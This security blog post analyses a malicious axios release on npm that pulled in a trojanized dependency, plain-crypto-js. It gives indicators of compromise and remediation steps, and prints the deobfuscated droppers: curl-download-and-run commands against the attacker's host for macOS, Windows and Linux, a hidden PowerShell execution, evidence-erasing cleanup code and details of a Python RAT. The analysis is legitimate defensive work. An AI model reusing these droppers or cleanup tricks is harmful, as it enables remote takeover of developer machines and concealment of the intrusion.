---
title: "axios Compromised: npm Supply Chain Attack via Dependency Injection"
description: "axios 1.14.1 was published to npm via a compromised maintainer account, injecting a trojanized dependency that executes a multi-platform reverse shell on install. No source code changes in axios itself, just a new entry in package.json."
url: "https://safedep.io/blog/axios-npm-supply-chain-compromise"
author: "SafeDep Team"
published: "2026-03-31"
---

# axios Compromised: npm Supply Chain Attack via Dependency Injection

## TL;DR

Two compromised versions of axios were published to npm on March 31, 2026: `1.14.1` and `0.30.4`, covering both the current 1.x and legacy 0.x branches. Both were published through what appears to be a compromised maintainer account. The attacker made a single change to `package.json` in each: injecting `plain-crypto-js` as a new dependency. That package, published less than 24 hours prior, contains an obfuscated `postinstall` payload that contacts a C2 server and downloads platform-specific second-stage payloads for macOS, Windows, and Linux. No axios source files were modified. The attack bypassed the project's CI/CD pipeline and SLSA provenance attestations entirely.

**Impact:**

- Projects with `axios@^1.14.0` or `axios@^0.30.0` auto-upgrade to the compromised versions on install
- The payload executes automatically via `postinstall` with no user interaction required
- A second-stage payload is fetched from `hxxp://sfrclak[.]com:8000/`
- Windows, macOS, and Linux systems are all targeted with platform-specific payloads

**Indicators of Compromise (IoC):**

- `axios@1.14.1` (SHA256: `5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd`)
- `axios@0.30.4` (SHA256: `59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f`)
- `plain-crypto-js@4.2.0`, `plain-crypto-js@4.2.1` (npm)
- C2: `hxxp://sfrclak[.]com:8000/` (resolves to `142.11.206.73`)
- C2 server: Express.js, responds only to POST requests (GET returns 500)
- Publisher email: `ifstap@proton[.]me` (compromised account)
- Publisher email: `nrwise@proton[.]me` (trojan package)
- macOS: native binary at `/Library/Caches/com.apple.act.mond` (disguised as Apple system daemon)
- Windows: copied PowerShell binary at `%PROGRAMDATA%\wt.exe`
- Linux/default: second-stage Python RAT at `/tmp/ld.py`, stage-3 binaries at `/tmp/.<random>` (dot-prefixed, hidden)
- Second-stage payload SHA256 (Linux): `fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf`
- C2 POST body contains `packages.npm.org/product{0,1,2}` (platform identifier: 0=macOS, 1=Windows, 2=Linux)
- File `6202033` in `$TMPDIR` (all platforms)
- `setup.js` SHA256: `e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09`
- Windows: temporary dropper files `%TEMP%\6202033.vbs` and `%TEMP%\6202033.ps1`
- RAT User-Agent: `mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)`
- RAT beacon interval: HTTP POST every 60 seconds to C2
- Process indicators: `osascript` from `$TMPDIR` (macOS), `cscript` running `.vbs` from `%TEMP%` (Windows), `python3 /tmp/ld.py` in background (Linux)

Search your filesystem for the trojan script:

```bash
find / -type f -name "setup.js" -exec shasum -a 256 {} \; 2>/dev/null \
  | grep e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
```

## Analysis

### No GitHub Tag, No Provenance, Wrong Publisher

The first signal: there is no `v1.14.1` tag on the [axios GitHub repository](https://github.com/axios/axios/tags). The latest tag is `v1.14.0`, published March 27, 2026. This version appeared on npm without any corresponding source code commit. Anyone can verify this:

```bash
# No v1.14.1 tag exists
gh api repos/axios/axios/git/refs/tags/v1.14.1
# Returns 404

# v1.14.0 tag exists
gh api repos/axios/axios/git/refs/tags/v1.14.0
# Returns valid ref object
```

The publisher metadata confirms the anomaly. Querying the npm registry for both versions shows the shift from automated CI to manual publish:

```bash
# Compare publisher between versions
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '._npmUser'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '._npmUser'
```

```json
// axios@1.14.0 _npmUser
{
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}
```

```json
// axios@1.14.1 _npmUser
{
  "name": "jasonsaayman",
  "email": "ifstap@proton.me"
}
```

The real `jasonsaayman` account historically uses `jasonsaayman@gmail.com`. The switch to a Proton Mail address, combined with the manual publish that bypasses CI/CD, points to account takeover.

SLSA provenance attestations present in 1.14.0 are completely absent from 1.14.1:

```bash
# Check provenance attestations
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dist.attestations'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dist.attestations'
```

```json
// axios@1.14.0
{
  "url": "https://registry.npmjs.org/-/npm/v1/attestations/axios@1.14.0",
  "provenance": {
    "predicateType": "https://slsa.dev/provenance/v1"
  }
}

// axios@1.14.1
null
```

### The Single Diff

Comparing the dependencies between versions shows the injected package:

```bash
# Compare dependencies
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dependencies'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dependencies'
```

Extracting and diffing the tarballs confirms only `package.json` differs. No JavaScript source file was touched. The diff:

```diff
// package.json
-  "version": "1.14.0",
+  "version": "1.14.1",

// dependencies
   "proxy-from-env": "^2.1.0"
+  "proxy-from-env": "^2.1.0",
+  "plain-crypto-js": "^4.2.1"

// scripts
-  "fix": "eslint --fix lib/**/*.js",
-  "prepare": "husky"
+  "fix": "eslint --fix lib/**/*.js"
```

Two changes: a new dependency added, and the `prepare` script (which runs Husky git hooks) removed.

The attacker also published `axios@0.30.4` approximately 40 minutes later, targeting the legacy 0.x branch with the same injection. Projects pinned to `^0.30.0` are equally affected. The 0.30.3 release was the last legitimate version on that branch, published by `jasonsaayman@gmail.com` (the real email).

### plain-crypto-js: The Trojan

`plain-crypto-js` was first published on March 30, 2026, less than 24 hours before the axios compromise. Two versions exist: 4.2.0 and 4.2.1.

```json
// plain-crypto-js package.json
{
  "name": "plain-crypto-js",
  "description": "JavaScript library of crypto standards.",
  "author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" },
  "repository": { "url": "http://github.com/brix/crypto-js.git" },
  "scripts": {
    "postinstall": "node setup.js"
  }
}
```

The package squats on the well known [crypto-js](https://github.com/brix/crypto-js) library. The `author` and `repository` fields point to the legitimate crypto-js project to steal credibility. The actual maintainer is `nrwise <nrwise@proton.me>`, a throwaway Proton Mail account with no other packages on npm.

Diffing `plain-crypto-js@4.2.1` against the legitimate `crypto-js@4.2.0` confirms this is a near-verbatim copy with two files added by the attacker:

| File                | Status                                                                                                          |
| ------------------- | --------------------------------------------------------------------------------------------------------------- |
| `setup.js`          | **Added.** The obfuscated payload (4,209 bytes, single line).                                                   |
| `package.md`        | **Added.** A clean `package.json` without the `postinstall` hook, swapped in after execution to erase evidence. |
| `package.json`      | **Modified.** Added `"postinstall": "node setup.js"`, changed name/version.                                     |
| All other ~40 files | **Identical** to `crypto-js@4.2.0`. Pure camouflage.                                                            |

To verify, run:

```bash
curl -sL https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz | tar xz -C /tmp/mal
curl -sL https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz | tar xz -C /tmp/legit
diff -rq /tmp/mal/package /tmp/legit/package
```

### Payload: setup.js

The entire payload is a single minified line. It uses a custom two-layer deobfuscation scheme: base64 with reversed characters and underscore substitution, followed by a per-character XOR cipher with a rotating key derived from the string `OrDeR_7077`.

Static deobfuscation of the string table reveals:

| Index     | Decoded Value                                                | Purpose                                                           |
| --------- | ------------------------------------------------------------ | ----------------------------------------------------------------- |
| `stq[0]`  | `child_process`                                              | Module import                                                     |
| `stq[1]`  | `os`                                                         | Module import                                                     |
| `stq[2]`  | `fs`                                                         | Module import                                                     |
| `stq[3]`  | `http://sfrclak.com:8000/`                                   | C2 base URL                                                       |
| `stq[5]`  | `win32`                                                      | OS detection                                                      |
| `stq[6]`  | `darwin`                                                     | OS detection                                                      |
| `stq[7]`  | AppleScript dropper template                                 | macOS payload (downloads to `/Library/Caches/com.apple.act.mond`) |
| `stq[8]`  | `cscript "LOCAL_PATH" //nologo && del...`                    | Windows execution                                                 |
| `stq[9]`  | VBScript dropper template                                    | Windows payload (curl + renamed PowerShell)                       |
| `stq[10]` | `nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &`            | macOS execution                                                   |
| `stq[12]` | `curl -o /tmp/ld.py -d ... -s SCR_LINK && nohup python3 ...` | Linux execution                                                   |
| `stq[15]` | `.exe`                                                       | Windows persistence suffix                                        |
| `stq[16]` | `.ps1`                                                       | PowerShell script extension                                       |
| `stq[17]` | `.vbs`                                                       | VBScript extension                                                |

The `_entry` function (called with argument `"6202033"`) constructs the full C2 URL as `hxxp://sfrclak[.]com:8000/6202033`, then branches by OS:

Each platform gets a tailored dropper. The C2 uses `packages.npm.org/product{0,1,2}` as the POST body to differentiate platform requests.

**macOS (`darwin`):**

1. Writes an AppleScript to `$TMPDIR/6202033` that:
   - POSTs to C2 with body `packages.npm.org/product0`
   - Saves the response to `/Library/Caches/com.apple.act.mond` (disguised as an Apple system daemon)
   - `chmod 770` and executes via `/bin/zsh` in background, passing C2 URL as argument
   - Self-deletes the AppleScript
2. Executes with `nohup osascript "$TMPDIR/6202033" > /dev/null 2>&1 &`

The AppleScript effectively runs:

```bash
# macOS: download native binary, make executable, run in background
curl -o /Library/Caches/com.apple.act.mond \
  -d packages.npm.org/product0 \
  -s hxxp://sfrclak[.]com:8000/6202033 \
  && chmod 770 /Library/Caches/com.apple.act.mond \
  && /bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &"
rm -rf $TMPDIR/6202033
```

**Windows (`win32`):**

1. Locates PowerShell via `where powershell`
2. Copies the PowerShell binary to `%PROGRAMDATA%\wt.exe` (disguised as Windows Terminal)
3. Writes a VBScript to `%TEMP%\6202033.vbs` that chains via `cmd.exe`:

```batch
REM Windows: download .ps1, execute hidden, clean up
cmd.exe /c curl -s -X POST -d "packages.npm.org/product1" ^
  "hxxp://sfrclak[.]com:8000/6202033" > "%TEMP%\6202033.ps1" ^
  & "%PROGRAMDATA%\wt.exe" -w hidden -ep bypass -file "%TEMP%\6202033.ps1" ^
    "hxxp://sfrclak[.]com:8000/6202033" ^
  & del "%TEMP%\6202033.ps1" /f
```

4. Runs via `cscript "%TEMP%\6202033.vbs" //nologo`, then deletes the `.vbs`

**Linux (default fallback):**

POSTs to C2 with body `packages.npm.org/product2`, saves the response as `/tmp/ld.py`, and runs it:

```bash
# Linux: download Python RAT, run in background
curl -o /tmp/ld.py -d packages.npm.org/product2 \
  -s hxxp://sfrclak[.]com:8000/6202033 \
  && nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 \
  > /dev/null 2>&1 &
```

After execution, the payload self-deletes `setup.js` and renames `package.md` to `package.json`, removing the `postinstall` hook from the installed package to cover its tracks:

```javascript
// setup.js (deobfuscated cleanup logic)
const K = __filename;
t.unlink(K, (x) => {}); // delete setup.js
t.unlink('package.json', (x) => {}); // delete current package.json (with postinstall)
t.rename('package.md', 'package.json', (x) => {}); // replace with clean version
```

### Second Stage: Python RAT

The C2 at `142.11.206.73:8000` (running Express.js) serves payloads in response to POST requests. GET requests return a 500 error. We successfully retrieved the Linux second stage by POSTing with body `packages.npm.org/product2`. The macOS (`product0`) and Windows (`product1`) payloads were not retrieved before the C2 went offline. From the first-stage code, the macOS payload is expected to be a native binary (chmod 770, executed directly) and the Windows payload a PowerShell script (`.ps1`, run with `-ep bypass`).

The Linux second stage (`ld.py`, SHA256: `fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf`) is an unobfuscated Python RAT with no persistence mechanism (runs only until reboot). It supports four command types:

| Command     | Function                                                                                                                                                                                                                                                                           |
| ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `kill`      | Terminates the RAT process                                                                                                                                                                                                                                                         |
| `peinject`  | Binary dropper: base64-decodes payload, writes to `/tmp/.<random>` (dot-prefixed hidden file), chmod 0o777, and executes via `Popen`. Has a bug on line 156: references undefined `b64_string` instead of the `ijtbin` parameter, suggesting code was copied from another version. |
| `runscript` | Two modes: if `Script` field is empty, runs `Param` as shell command (`shell=True`). If `Script` is provided, base64-decodes it and runs as `python3 -c <code>`. Output captured and returned to C2.                                                                               |
| `rundir`    | Enumerates directory contents (file names, sizes, timestamps)                                                                                                                                                                                                                      |

On first contact, the RAT sends a `FirstInfo` beacon containing a directory listing of `$HOME`, `$HOME/.config`, `$HOME/Documents`, and `$HOME/Desktop`. It then enters a 60-second polling loop, sending `BaseInfo` beacons with:

- Hostname, username, OS, architecture
- System manufacturer and product name (from `/sys/class/dmi/id/`)
- Full process list with PIDs, parent PIDs, usernames, and command lines
- Boot time, install time, timezone

Each beacon response can contain a command for the RAT to execute. Results are base64-encoded and POSTed back. The User-Agent string in all C2 communication is hardcoded:

```
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
```

The `peinject` handler (named after Windows PE injection, though this is the Linux variant) is the mechanism for deploying stage-3 payloads: the C2 operator can push any binary at any time. It has a bug on line 156 where it references an undefined `b64_string` instead of the `ijtbin` parameter, suggesting the code was copied from another version. Regardless, `runscript` with `shell=True` already provides equivalent capability.

The RAT has no persistence mechanism. It runs only until reboot, suggesting the operator either deploys persistence via `runscript`/`peinject` after initial access, or the campaign is focused on quick data exfiltration.

### Deobfuscation Walkthrough: `setup.js` in `plain-crypto-js`

The `_trans_2` function reverses the input string, swaps underscores for `=` padding, then base64-decodes. The result is passed through `_trans_1`, which XORs each character against a rotating key derived from the position index:

```javascript
// _trans_1: XOR cipher with position-dependent key
const E = 'OrDeR_7077'.split('').map(Number);
// E = [NaN, NaN, NaN, NaN, NaN, NaN, 7, 0, 7, 7]
return x.split('').map((char, pos) => {
  const code = char.charCodeAt(0);
  const key = E[(7 * pos * pos) % 10]; // quadratic index into key
  return String.fromCharCode(code ^ key ^ 333);
});
```

The quadratic index `7 * pos * pos % 10` makes the key rotation non-linear, complicating naive pattern analysis. The constant `333` (0x14D) adds a fixed XOR layer.

## Attack Summary

This is a dependency injection attack against the highest-traffic package in the npm ecosystem:

1. Attacker gains access to the `jasonsaayman` npm account (likely credential theft or session hijack). The account email at time of publish is `ifstap@proton.me`, different from the `jasonsaayman@gmail.com` seen on prior legitimate releases
2. Pre-stages `plain-crypto-js` from a separate throwaway account (`nrwise@proton.me`)
3. Publishes `axios@1.14.1` manually, bypassing GitHub Actions CI/CD and SLSA provenance
4. The only modification: inject `plain-crypto-js` into `dependencies` and remove the `prepare` script
5. Repeats the injection on `axios@0.30.4` (~40 minutes later) to cover the legacy 0.x branch

The attack is notable for its restraint. No axios source files were modified, making traditional diff-based code review less likely to catch it. The malicious behavior lives entirely in a transitive dependency, triggered automatically by npm's `postinstall` lifecycle.

With approximately 100 million weekly downloads, any project using a caret range (`^1.14.0`) would pull in 1.14.1 on the next `npm install`.

## Recommended Actions

1. Pin `axios` to `1.14.0` (or `0.30.3` for 0.x branch) or earlier in your lockfile
2. Audit systems that ran `npm install` after March 31, 2026 00:21 UTC for persistence artifacts
3. Check for: `$TMPDIR/6202033` (all platforms), `%PROGRAMDATA%\wt.exe` (Windows), `/tmp/ld.py` (Linux)
4. Rotate credentials on any system where axios 1.14.1 was installed

## Conclusion

The provenance signals told the whole story before any code analysis was needed: no GitHub tag, no SLSA attestation, publisher email changed, manual publish bypassing CI/CD.



## References

- [npm: axios](https://www.npmjs.com/package/axios)
- [npm: plain-crypto-js](https://www.npmjs.com/package/plain-crypto-js)
- [axios GitHub Repository](https://github.com/axios/axios)
- [SLSA Provenance Specification](https://slsa.dev/provenance/v1)
